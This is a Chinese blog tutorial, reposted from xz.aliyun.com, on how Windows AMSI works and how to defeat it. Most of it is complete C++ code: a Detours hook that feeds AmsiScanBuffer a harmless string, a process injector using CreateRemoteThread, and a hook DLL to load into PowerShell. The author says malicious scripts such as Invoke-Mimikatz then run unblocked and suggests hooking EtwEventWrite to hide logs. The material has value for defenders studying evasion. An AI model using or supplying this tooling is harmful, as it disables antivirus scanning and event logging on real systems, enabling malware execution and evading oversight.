AMSI原理与绕过---上
2020-07-10 11:39:23 Author: xz.aliyun.com(查看原文) 阅读量:481 收藏

TL;DR

* 之前大概学过相关的技术但没认真研究和总结过,最近又研究学习了一下,这里做一下总结和分享。大家在渗透的时候都用过powershell,powershell的功能可谓非常之强大,常用于信息搜集、入侵、下载、提权、权限维持、横向移动等。常用的框架有powersploit、Empire、Nishang等,那又是什么什么呢?Anti-Malware Scan Interface (AMSI),即反恶意软件扫描接口,在win10和server2016上默认安装。如在使用mimikatz的powershell版时候会遇到如下的错误。

产生这一错误的原因即为AMSI防护的效果。那么防护的原理是什么以及如果绕过呢?

初步想法

  • 这个是网上已经公开了的绕过AMSI的技术,但理解并且掌握整个过程同样因缺斯听,它可以用来绕过一些安全机制比如说ETW(Event Tracing for Windows)。这里要感谢MDSec以及RdpTheif工具的作者oxo9AL,RdpTheif工具使用了相似的技术。
  • AMSI理论上是个很好的想法,在恶意脚本在执行的过程中去分析判断,然而我们讨论的是这个理论在落实时候的缺陷,最终项目的代码可参考AmsiHook
  • 可以看到尽管"Invoke-Mimikatz"这个字符串没有恶意执行的上下文可依然被检测并拦截,它是怎么工作的呢,微软在每个进程中都加载了amsi.dll,并导出了一些函数功能供杀软和EDR去使用,当然这其中主要是微软自家的Windows Defender。
  • 如上所示,可以看到在启动powershell进程的时候加载了amsi.dll.
  • 查看amsi.dll中的导出函数,可以看到一个这样函数AmsiScanBuffer,在msdn上查找这个函数.

    HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT  *result
    );
  • 传递给AmsiScanBuffer函数的最后一个参数是一个枚举类型指针名字为result,这个result将决定执行这个脚本是否是恶意。

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
};
  • 理论上如果我们能操作这个result(比如让它固定返回为AMSI_RESULT_CLEAN),这可能就会绕过检测,所以我们该如何做呢?虽然AMSI注入到了进程,但是并没有内核驱动去保障amsi.dll是否被篡改,基于此让我们找个绕过的方法。

HOOK函数

  • HOOK函数可以让我们在调用这个函数之前控制这个函数,作为攻击者我们能做的事情很多,比如记录参数日志、允许或者拦截函数的执行、覆盖传入这个函数的参数、修改函数的返回值,我们现在需要找到hook AmsiScanBuffer函数的方法,这里可使用微软提供的hook函数库detours。
  • detours工作的流程存储了目标函数的一个副本,然后通过jmp指令覆盖了目标函数的开始地址,这个jump只能让我们跳转到了攻击者控制的函数中。在进行下面内容之前,你需要先编译detours成静态链接库,可以参考文章,注意这里编译成X64版本的。因为后面注入的powershell也是64位的进程,所以amsihook.dll就需要是64位的,那么这个静态链接库我们也需要编译成64位。
#include <iostream>
#include <Windows.h>
#include <detours.h>

static int(WINAPI* OriginalMessageBox)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBox;

int WINAPI _MessageBox(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) {
    return OriginalMessageBox(NULL, L"We've used detours to hook MessageBox", L"Hooked Window", 0);
}

int main() {
    std::cout << "[+] Hooking MessageBox" << std::endl;

    DetourRestoreAfterWith();
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)OriginalMessageBox, _MessageBox);
    DetourTransactionCommit();

    std::cout << "[+] Message Box Hooked" << std::endl;

    MessageBox(NULL, L"My Message", L"My Caption", 0);

    std::cout << "[+] Unhooking MessageBox" << std::endl;

    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)OriginalMessageBox, _MessageBox);
    DetourTransactionCommit();

    std::cout << "[+] Message Box Unhooked" << std::endl;
}
  • 上面代码通过detours库hook了MessageBox函数并重写了用户参数,以上我们可以用来hook AmsiScanBuffer,现在创建一个项目,这个项目使用AmsiScanBuffer来检测字符串是否为恶意。
#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")

////使用EICAR标准进行测试 https://en.wikipedia.org/wiki/EICAR_test_file
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

const char* GetResultDescription(HRESULT hRes) {
    const char* description;
    switch (hRes)
    {
    case AMSI_RESULT_CLEAN:
        description = "AMSI_RESULT_CLEAN";
        break;
    case AMSI_RESULT_NOT_DETECTED:
        description = "AMSI_RESULT_NOT_DETECTED";
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
        description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
        description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
        break;
    case AMSI_RESULT_DETECTED:
        description = "AMSI_RESULT_DETECTED";
        break;
    default:
        description = "";
        break;
    }
    return description; 
}

int main() {
    HAMSICONTEXT amsiContext;
    HRESULT hResult = S_OK;
    AMSI_RESULT res = AMSI_RESULT_CLEAN;
    HAMSISESSION hSession = nullptr;

    LPCWSTR fname = L"EICAR";
    BYTE* sample = (BYTE*)EICAR;
    ULONG size = strlen(EICAR);

    ZeroMemory(&amsiContext, sizeof(amsiContext));

    hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiInitialize Failed" << std::endl;
        return hResult;
    }

    hResult = AmsiOpenSession(amsiContext, &hSession);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiOpenSession Failed" << std::endl;
        return hResult;
    }

    hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
        return hResult;
    }

    // Anything above 32767 is considered malicious
    std::cout << GetResultDescription(res) << std::endl;
}

#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <detours.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")

#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
#define SAFE "SafeString"

//Converts number given out by AmsiScanBuffer into a readable string
const char* GetResultDescription(HRESULT hRes) {
    const char* description;
    switch (hRes)
    {
    case AMSI_RESULT_CLEAN:
        description = "AMSI_RESULT_CLEAN";
        break;
    case AMSI_RESULT_NOT_DETECTED:
        description = "AMSI_RESULT_NOT_DETECTED";
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
        description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
        description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
        break;
    case AMSI_RESULT_DETECTED:
        description = "AMSI_RESULT_DETECTED";
        break;
    default:
        description = "";
        break;
    }
    return description; 
}

//Store orignal version of AmsiScanBuffer
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext, 
                                                PVOID buffer, ULONG length, 
                                                LPCWSTR contentName, 
                                                HAMSISESSION amsiSession, 
                                                AMSI_RESULT* result) = AmsiScanBuffer;

//Our user controlled AmsiScanBuffer
HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) {
    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}

//Sets up detours to hook our function
void HookAmsi() {
    DetourRestoreAfterWith();
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
    DetourTransactionCommit();
}

//Undoes the hooking we setup earlier
void UnhookAmsi() {
    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
    DetourTransactionCommit();
}

int main() {
    //Declares variables required for AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer
    HAMSICONTEXT amsiContext;
    HRESULT hResult = S_OK;
    AMSI_RESULT res = AMSI_RESULT_CLEAN;
    HAMSISESSION hSession = nullptr;

    //Declare test case to use
    LPCWSTR fname = L"EICAR";
    BYTE* sample = (BYTE*)EICAR;
    ULONG size = strlen(EICAR);

    std::cout << "[+] Hooking AmsiScanBuffer" << std::endl;
    HookAmsi();
    std::cout << "[+] AmsiScanBuffer Hooked" << std::endl;

    ZeroMemory(&amsiContext, sizeof(amsiContext));

    hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiInitialize Failed" << std::endl;
        return hResult;
    }

    hResult = AmsiOpenSession(amsiContext, &hSession);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiOpenSession Failed" << std::endl;
        return hResult;
    }

    hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
    if (hResult != S_OK) {
        std::cout << std::system_category().message(hResult) << std::endl;
        std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
        return hResult;
    }

    std::cout << GetResultDescription(res) << std::endl;

    std::cout << "[+] Unhooking AmsiScanBuffer" << std::endl;
    UnhookAmsi();
    std::cout << "[+] AmsiScanBuffer Unhooked" << std::endl;
}

  • 可以看到我们绕过了amsi的内容检测,现在来思考如何关闭AMSI对恶意powershell的拦截,这里可使用进程注入方式,我们需要将amsibypass.dll注入到powershell进程(同样amsi.dll也注入进去了),让其hook掉amsi.dll的AmsiScanBuffer函数,让其返回safe的信息即可。

dll注入

  • dll是一种类似PE的文件格式,然而它不可独立执行,它需要一个pe文件在运行的时候去加载,所以我们需要创建一个基础的injector将dll加载并注入到powershell进程中。
  • injector可以有多种方式,可以使用如下代码,也可以使用injectAllTheThings
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

//Opens a handle to process then write to process with LoadLibraryA and execute thread
BOOL InjectDll(DWORD procID, char* dllName) {
    char fullDllName[MAX_PATH];
    LPVOID loadLibrary;
    LPVOID remoteString;

    if (procID == 0) {
        return FALSE;
    }

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
    if (hProc == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
    std::cout << "[+] Aquired full DLL path: " << fullDllName << std::endl;

    loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
    CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL);

    CloseHandle(hProc);
    return TRUE;
}

//Iterate all process until the name we're searching for matches
//Then return the process ID
DWORD GetProcIDByName(const char* procName) {
    HANDLE hSnap;
    BOOL done;
    PROCESSENTRY32 procEntry;

    ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
    procEntry.dwSize = sizeof(PROCESSENTRY32);

    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    done = Process32First(hSnap, &procEntry);
    do {
        if (_strnicmp(procEntry.szExeFile, procName, sizeof(procEntry.szExeFile)) == 0) {
            return procEntry.th32ProcessID;
        }
    } while (Process32Next(hSnap, &procEntry));

    return 0;
}

int main(int argc, char** argv)
{
    const char* processName = argv[1];
    char* dllName = argv[2];
    DWORD procID = GetProcIDByName(processName);
    std::cout << "[+] Got process ID for " << processName << " PID: " << procID << std::endl;
    if (InjectDll(procID, dllName)) {
        std::cout << "DLL now injected!" << std::endl;
    } else {
        std::cout << "DLL couldn't be injected" << std::endl;
    }
}
  • 现在来创建一个dll以及导出函数AmsiScanBuffer
#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#include <iostream>
#pragma comment(lib, "amsi.lib")

#define SAFE "SafeString"

static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) = AmsiScanBuffer;

//Our user controlled AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) {

    std::cout << "[+] AmsiScanBuffer called" << std::endl;
    std::cout << "[+] Buffer " << buffer << std::endl;
    std::cout << "[+] Buffer Length " << length << std::endl;
    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  dwReason,
    LPVOID lpReserved
)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }

    if (dwReason == DLL_PROCESS_ATTACH) {
        AllocConsole();
        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);

        DetourRestoreAfterWith();
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());

        DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();

    } else if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();
        FreeConsole();
    }
    return TRUE;
}
  • 将AmsiHOOK.dll注入到powershell进程中。
  • 现在我们可以输入任何恶意脚本给powershell执行了且不会被拦截,这个项目只是一个基础,你可以做相当多的扩展,如hook EtwEventWrite函数去隐藏日志记录等等。
  • 下一篇给大家分享另外一种更简单的绕过姿势。

Reference

Understanding and Bypassing AMSI
初探Powershell与AMSI检测对抗技术


文章来源: http://xz.aliyun.com/t/7973
如有侵权请联系:admin#unsafe.sh